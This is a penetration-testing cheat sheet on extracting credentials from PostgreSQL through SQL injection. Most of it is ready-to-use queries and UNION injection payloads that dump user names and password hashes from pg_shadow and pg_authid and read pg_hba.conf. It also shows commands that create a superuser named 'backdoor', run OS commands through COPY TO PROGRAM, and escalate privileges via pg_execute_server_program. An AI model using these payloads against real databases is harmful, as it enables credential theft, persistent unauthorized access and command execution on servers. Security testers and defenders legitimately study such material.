postgresql

Database Credentials

How to retrieve database credentials in PostgreSQL

Information Gathering Last updated: December 7, 2025
credentialsauthenticationuser data

Database Credentials

When performing SQL injection attacks against PostgreSQL, extracting database credentials can provide valuable information for further exploitation.

Current User Information

InformationQuery
Current UserSELECT user;
Current UserSELECT current_user;
Session UserSELECT session_user;
Superuser CheckSELECT usesuper FROM pg_user WHERE usename = current_user;

User Enumeration

-- List all database users
SELECT usename FROM pg_user;

-- List all roles
SELECT rolname FROM pg_roles;

-- Get user details (usecatupd column removed in PostgreSQL 10+)
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user;  -- PostgreSQL < 10
SELECT usename, usecreatedb, usesuper FROM pg_user;             -- PostgreSQL 10+

-- Find superuser accounts
SELECT usename FROM pg_user WHERE usesuper = true;

Password Hashes

PostgreSQL stores password hashes in the pg_shadow table (requires superuser):

-- Get password hashes (requires superuser privilege)
SELECT usename, passwd FROM pg_shadow;

The hash format depends on PostgreSQL version and configuration:

  • md5 + MD5 hash (older default)
  • SCRAM-SHA-256 hash (PostgreSQL 10+ default)

Role and Privilege Information

-- Get role memberships
SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole,
       r.rolcreatedb, r.rolcanlogin
FROM pg_roles r;

-- Check if current user is superuser
SELECT current_setting('is_superuser');

-- Get granted roles
SELECT grantee, role_name
FROM information_schema.applicable_roles;

Injection Examples

-- Get current user
' UNION SELECT NULL,current_user,NULL--

-- List all users
' UNION SELECT NULL,usename,NULL FROM pg_user--

-- Get user:password pairs (requires superuser)
' UNION SELECT NULL,usename||':'||passwd,NULL FROM pg_shadow--

-- Check if current user is superuser
' UNION SELECT NULL,usesuper::text,NULL FROM pg_user WHERE usename=current_user--

-- Find superusers
' UNION SELECT NULL,string_agg(usename,','),NULL FROM pg_user WHERE usesuper=true--

Database Authentication Settings

-- Check authentication method (pg_hba.conf)
-- This requires reading the config file
SELECT current_setting('hba_file');

pg_hba.conf Analysis

The pg_hba.conf file controls PostgreSQL authentication. Understanding it is critical for privilege escalation.

Reading pg_hba.conf (requires file read permissions):

-- Get pg_hba.conf location
SELECT current_setting('hba_file');
-- Example: /var/lib/postgresql/15/main/pg_hba.conf

-- Read pg_hba.conf (requires superuser or pg_read_server_files)
SELECT pg_read_file(current_setting('hba_file'));

pg_hba.conf Format:

# TYPE  DATABASE  USER  ADDRESS       METHOD
local   all       all                 trust      # DANGEROUS!
host    all       all   127.0.0.1/32  md5
host    all       all   0.0.0.0/0     scram-sha-256

Authentication Methods:

MethodSecurityDescription
trustNONENo password required - anyone can connect
peerOS-basedUses OS username (local connections only)
identOS-basedUses ident server to verify OS username
md5LowMD5 password hashing (vulnerable to replay)
scram-sha-256HighModern password authentication
certHighSSL certificate authentication
rejectN/AAlways reject connection

Exploiting Trust Authentication (Superuser Access):

If pg_hba.conf has trust authentication for superuser accounts (e.g., local all postgres trust), you can connect without a password and directly execute privileged operations:

-- Connect as superuser via trust auth (no password needed)
-- psql -U postgres

-- Direct superuser actions (no GRANT needed - superusers have all capabilities):
-- Create backdoor account
CREATE USER backdoor WITH SUPERUSER PASSWORD 'secret';

-- Modify existing user
ALTER USER target_user WITH SUPERUSER;

-- Execute OS commands directly
COPY (SELECT '') TO PROGRAM 'id > /tmp/whoami.txt';

-- Exfiltrate data
COPY (SELECT * FROM pg_shadow) TO '/tmp/hashes.txt';

Non-Superuser Privilege Escalation via pg_execute_server_program:

If you have a non-superuser account but can convince a superuser to grant you dangerous roles, or if misconfigured:

-- Requires a superuser to run this GRANT:
GRANT pg_execute_server_program TO limited_user;

-- Once granted, the non-superuser can execute OS commands:
COPY (SELECT '') TO PROGRAM 'whoami > /tmp/test.txt';

-- If trust auth exists for superuser, escalate via shell:
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER limited_user WITH SUPERUSER"';

Note: pg_execute_server_program (PostgreSQL 11+) allows command execution without full superuser. This is a privilege escalation path if granted to untrusted users.

Checking Authentication Method via pg_hba_file_rules (PostgreSQL 10+):

-- View parsed pg_hba.conf rules
SELECT line_number, type, database, user_name, address, auth_method
FROM pg_hba_file_rules;

-- Find trust authentication entries
SELECT * FROM pg_hba_file_rules WHERE auth_method = 'trust';

-- Find entries allowing any user
SELECT * FROM pg_hba_file_rules WHERE user_name = '{all}';

Injection Examples for pg_hba Analysis:

-- Check for pg_hba_file_rules view
' UNION SELECT 1, auth_method, 3 FROM pg_hba_file_rules LIMIT 1--

-- Find trust authentication
' UNION SELECT 1, type||':'||auth_method, 3 FROM pg_hba_file_rules WHERE auth_method='trust'--

-- Get all auth methods in use
' UNION SELECT 1, string_agg(DISTINCT auth_method, ','), 3 FROM pg_hba_file_rules--

Password Authentication Details

Password Storage in pg_authid:

-- pg_authid contains all role information (superuser only)
SELECT rolname, rolpassword FROM pg_authid;

-- Password format examples:
-- MD5: 'md5' + md5(password + username) = 35 chars total (3-char prefix + 32 hex)
-- SCRAM: SCRAM-SHA-256$iterations:salt$StoredKey:ServerKey

Password Hash Formats:

FormatExampleNotes
MD5md5d8578edf8458ce06fbc5bb76a58c5ca435 chars: “md5” prefix + 32 hex characters
SCRAM-SHA-256SCRAM-SHA-256$4096:salt$key:keyPostgreSQL 10+ default
Plaintext(raw password)Legacy only (<10); removed in PostgreSQL 10

Checking Password Encryption Setting:

-- Check current password encryption method
SELECT current_setting('password_encryption');
-- Returns: md5 or scram-sha-256 (PostgreSQL 10+)

-- Check when passwords were last set
SELECT rolname, rolpassword IS NOT NULL as has_password
FROM pg_authid WHERE rolcanlogin;

Connection String Extraction

If you find credentials, test them with connection strings:

-- Using dblink to test credentials
SELECT dblink_connect('host=localhost dbname=postgres user=admin password=secret');

-- Using postgres_fdw
CREATE SERVER target FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (host 'localhost', dbname 'postgres');

CREATE USER MAPPING FOR current_user SERVER target
OPTIONS (user 'admin', password 'secret');

Notes

  • pg_shadow requires superuser privileges to access
  • pg_user is accessible but doesn’t contain password hashes
  • PostgreSQL 10+ uses SCRAM-SHA-256 by default, which is more secure than MD5
  • Password column may be NULL for users without password authentication

For more information on password hashing and cracking, see the related entries on Password Hashing and Password Cracking.